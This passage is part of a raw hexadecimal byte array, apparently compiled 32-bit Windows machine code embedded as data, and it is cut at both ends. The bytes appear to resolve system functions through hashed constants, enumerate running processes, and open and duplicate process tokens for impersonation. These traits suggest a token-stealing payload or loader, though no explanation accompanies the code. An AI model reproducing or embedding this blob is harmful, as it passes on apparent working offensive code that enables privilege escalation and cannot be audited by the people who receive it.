4,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x10,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x12,0x20,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xCE,0x1E,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x0F,0x84,0x06,0x01,0x00,0x00,0x83,0x7D,0x0C,0x00,0x0F,0x84,0xFC,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x52,0xE6,0x48,0x65,0xE8,0x96,0xE7,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xDB,0xFD,0x4F,0xE5,0x89,0x04,0x24,0xE8,0x05,0xE6,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0xC6,0x00,0x00,0x00,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x0C,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,0x24,0x8B,0x45,0xE4,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xE8,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x04,0x1E,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x83,0x7D,0xE8,0x00,0x75,0x74,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x52,0xE6,0x48,0x65,0xE8,0x08,0xE7,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xDE,0x92,0x8E,0x56,0x89,0x04,0x24,0xE8,0x77,0xE5,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x74,0x42,0x8B,0x45,0x0C,0x8B,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x55,0xDC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x04,0x24,0x8B,0x45,0xE0,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x75,0x15,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0x08,0x00,0x74,0x0B,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x6B,0x1D,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x16,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x0D,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x04,0x24,0xE8,0x4F,0x1D,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x12,0x8B,0x45,0xDC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xDC,0x89,0x04,0x24,0xE8,0x37,0x1D,0x00,0x00,0x83,0x7D,0xF4,0x00,0x74,0x05,0x8B,0x45,0xDC,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x71,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x52,0xE6,0x48,0x65,0xE8,0x15,0xE6,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xD4,0x0B,0x8F,0x24,0x89,0x04,0x24,0xE8,0x84,0xE4,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xF4,0xFF,0xD0,0x83,0xEC,0x04,0x89,0x45,0xF0,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xAC,0x1C,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x83,0x7D,0xF0,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x68,0xE6,0x48,0x65,0xC7,0x45,0xE8,0x8C,0xE6,0x48,0x65,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x02,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0xE8,0x7F,0x23,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x4E,0x8D,0x45,0xEC,0x89,0x44,0x24,0x0C,0x8B,0x45,0x14,0x89,0x44,0x24,0x08,0x8B,0x45,0x10,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x95,0x00,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x28,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x3E,0x00,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x17,0x8B,0x55,0xEC,0x8B,0x45,0x0C,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x12,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xC4,0x1B,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0x08,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x05,0x00,0x00,0x00,0xC7,0x04,0x24,0xFE,0xFF,0xFF,0xFF,0xE8,0x09,0x1E,0x00,0x00,0x83,0xEC,0x10,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x81,0xEC,0xA4,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x10,0x00,0x00,0x8B,0x45,0xC8,0x89,0x45,0xE8,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x01,0x00,0x00,0xC0,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xA0,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0x88,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0x80,0x00,0x00,0x00,0x00,0xC7,0x45,0x84,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0xCC,0xE3,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xA4,0x97,0x06,0x9A,0x89,0x04,0x24,0xE8,0x3B,0xE2,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x84,0xB9,0x03,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xE0,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x75,0x05,0xE9,0xA0,0x03,0x00,0x00,0x8B,0x45,0xC8,0x89,0x45,0xE8,0x8B,0x5D,0xC8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x63,0x03,0x00,0x00,0x8B,0x45,0xC8,0x8D,0x55,0xC8,0x89,0x54,0x24,0x0C,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x05,0x00,0x00,0x00,0xE8,0x52,0x1B,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x79,0x66,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xE8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xCC,0x55,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xE4,0x23,0x00,0x00,0xC0,0x0F,0x84,0x49,0xFF,0xFF,0xFF,0x81,0x7D,0xE4,0x04,0x00,0x00,0xC0,0x0F,0x84,0x3C,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xE4,0x00,0x0F,0x88,0xCB,0x02,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xEC,0xC7,0x45,0xA0,0x18,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0x88,0x18,0x00,0x00,0x00,0xC7,0x45,0x8C,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x0C,0x00,0x00,0x00,0xC7,0x45,0x80,0x02,0x00,0x00,0x00,0xC6,0x45,0x84,0x00,0xC6,0x45,0x85,0x00,0x8D,0x85,0x7C,0xFF,0xFF,0xFF,0x89,0x45,0x9C,0x8B,0x45,0xEC,0x8B,0x40,0x44,0x89,0x45,0xB8,0x8D,0x45,0xB8,0x89,0x44,0x24,0x0C,0x8D,0x45,0xA0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x04,0x00,0x00,0x8D,0x45,0xD4,0x89,0x04,0x24,0xE8,0x85,0x18,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x88,0xD2,0x01,0x00,0x00,0x8B,0x45,0xD4,0x8D,0x55,0xD0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x0A,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xE2,0x18,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x88,0x99,0x01,0x00,0x00,0x8B,0x45,0xD0,0x8D,0x55,0xCC,0x89,0x54,0x24,0x14,0xC7,0x44,0x24,0x10,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x55,0x88,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x02,0x89,0x04,0x24,0xE8,0xD5,0x1A,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x88,0x49,0x01,0x00,0x00,0x8B,0x45,0xCC,0x8D,0x55,0xC4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x59,0x05,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x12,0x01,0x00,0x00,0x8B,0x45,0xCC,0x8D,0x55,0xC0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xF0,0x0A,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xDC,0x00,0x00,0x00,0x8B,0x55,0xD8,0x8B,0x45,0xC4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x95,0x08,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x6B,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xCC,0x8D,0x95,0x78,0xFF,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x54,0x09,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x43,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x85,0xC0,0x74,0x39,0x8B,0x45,0xCC,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0x8B,0x55,0x10,0x89,0x54,0x24,0x08,0x8B,0x55,0x0C,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x0F,0x1F,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x0F,0x8B,0x55,0xCC,0x8B,0x45,0x14,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0x8B,0x45,0xC0,0x85,0xC0,0x74,0x4F,0x8B,0x45,0xC0,0x89,0x04,0x24,0xE8,0xDD,0x53,0x00,0x00,0x8D,0x14,0x00,0x8B,0x45,0xC0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x73,0x53,0x00,0x00,0x8B,0x5D,0xC0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x8B,0x45,0xC4,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x12,0x8B,0x45,0xCC,0x89,0x04,0x24,0xE8,0x34,0x17,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0x89,0x04,0x24,0xE8,0x22,0x17,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x89,0x04,0x24,0xE8,0x10,0x17,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x16,0x8B,0x45,0xEC,0x8B,0x00,0x85,0xC0,0x74,0x10,0x8B,0x45,0xEC,0x8B,0x00,0x01,0x45,0xEC,0xE9,0xDB,0xFD,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x23,0xC7,0x04,0x24,0xD4,0xE6,0x48,0x65,0xE8,0xD8,0xC0,0xFF,0xFF,0xC7,0x04,0x24,0x05,0xE7,0x48,0x65,0xE8,0xCC,0xC0,0xFF,0xFF,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xD8,0x85,0xC0,0x74,0x10,0x8B,0x45,0xD8,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x83,0x7D,0xF0,0x00,0x74,0x4A,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xC8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x6F,0x52,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0x4D,0xDF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x22,0x96,0xBC,0x93,0x89,0x04,0x24,0xE8,0xBC,0xDD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x45,0xF0,0xFF,0xD0,0x89,0x45,0xF4,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x81,0xEC,0x88,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xC4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xA0,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x18,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x18,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x0C,0x00,0x00,0x00,0xC7,0x45,0xBC,0x02,0x00,0x00,0x00,0xC6,0x45,0xC0,0x00,0xC6,0x45,0xC1,0x00,0x8D,0x45,0xB8,0x89,0x45,0xB4,0x8B,0x45,0x08,0x89,0x45,0xDC,0xC7,0x45,0x98,0x68,0xE6,0x48,0x65,0xC7,0x45,0x9C,0x8C,0xE6,0x48,0x65,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x02,0x00,0x00,0x00,0x8D,0x45,0x98,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0xE8,0xFB,0x1B,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xA5,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x44,0x24,0x0C,0x8D,0x45,0xC4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x04,0x00,0x00,0x8D,0x45,0xEC,0x89,0x04,0x24,0xE8,0x25,0x14,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x7E,0x8B,0x45,0xEC,0x8D,0x55,0xE8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x0A,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x86,0x14,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x5E,0x8B,0x45,0xE8,0x8D,0x55,0xE4,0x89,0x54,0x24,0x14,0xC7,0x44,0x24,0x10,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x55,0xA0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x02,0x89,0x04,0x24,0xE8,0x7D,0x16,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x27,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0x58,0xF8,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x74,0x16,0x8B,0x55,0xE4,0x8B,0x45,0x0C,0x89,0x10,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xE5,0x13,0x00,0x00,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xD3,0x13,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x12,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0xBB,0x13,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xEC,0x68,0xE6,0x48,0x65,0xC7,0x45,0xF0,0x08,0xE7,0x48,0x65,0xC7,0x44,0x24,0x0C,0x02,0x00,0x00,0x00,0x8D,0x45,0xEC,0x89,0x44,0x24,0x08,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x44,0xE7,0x48,0x65,0xE8,0xF1,0xF6,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x18,0xC7,0x04,0x24,0x56,0xE7,0x48,0x65,0xE8,0x6C,0xBD,0xFF,0xFF,0xC7,0x04,0x24,0x05,0xE7,0x48,0x65,0xE8,0x60,0xBD,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x74,0xE7,0x48,0x65,0xE8,0xA2,0xF6,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x18,0xC7,0x04,0x24,0x88,0xE7,0x48,0x65,0xE8,0x1D,0xBD,0xFF,0xFF,0xC7,0x04,0x24,0x05,0xE7,0x48,0x65,0xE8,0x11,0xBD,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x44,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x08,0x00,0x00,0x00,0x8B,0x45,0xDC,0x89,0x45,0xEC,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0xF3,0xDB,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x7F,0xE4,0xDE,0xE9,0x89,0x04,0x24,0xE8,0x62,0xDA,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0x21,0x01,0x00,0x00,0x8B,0x45,0xDC,0x89,0x45,0xEC,0x8B,0x5D,0xDC,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xEE,0x00,0x00,0x00,0x8B,0x45,0xDC,0x8D,0x55,0xDC,0x89,0x54,0x24,0x10,0x89,0x44,0x24,0x0C,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x7C,0x14,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x79,0x59,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xEC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x0F,0x4E,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xE8,0x23,0x00,0x00,0xC0,0x0F,0x84,0x42,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xE8,0x00,0x78,0x60,0xC7,0x44,0x24,0x04,0x44,0x00,0x00,0x00,0xC7,0x04,0x24,0x40,0x00,0x00,0x00,0xA1,0x60,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x08,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x3C,0x8B,0x45,0xF0,0x8B,0x10,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x44,0x00,0x00,0x00,0x8B,0x45,0xE4,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x74,0x15,0xC7,0x45,0xF4,0x01,0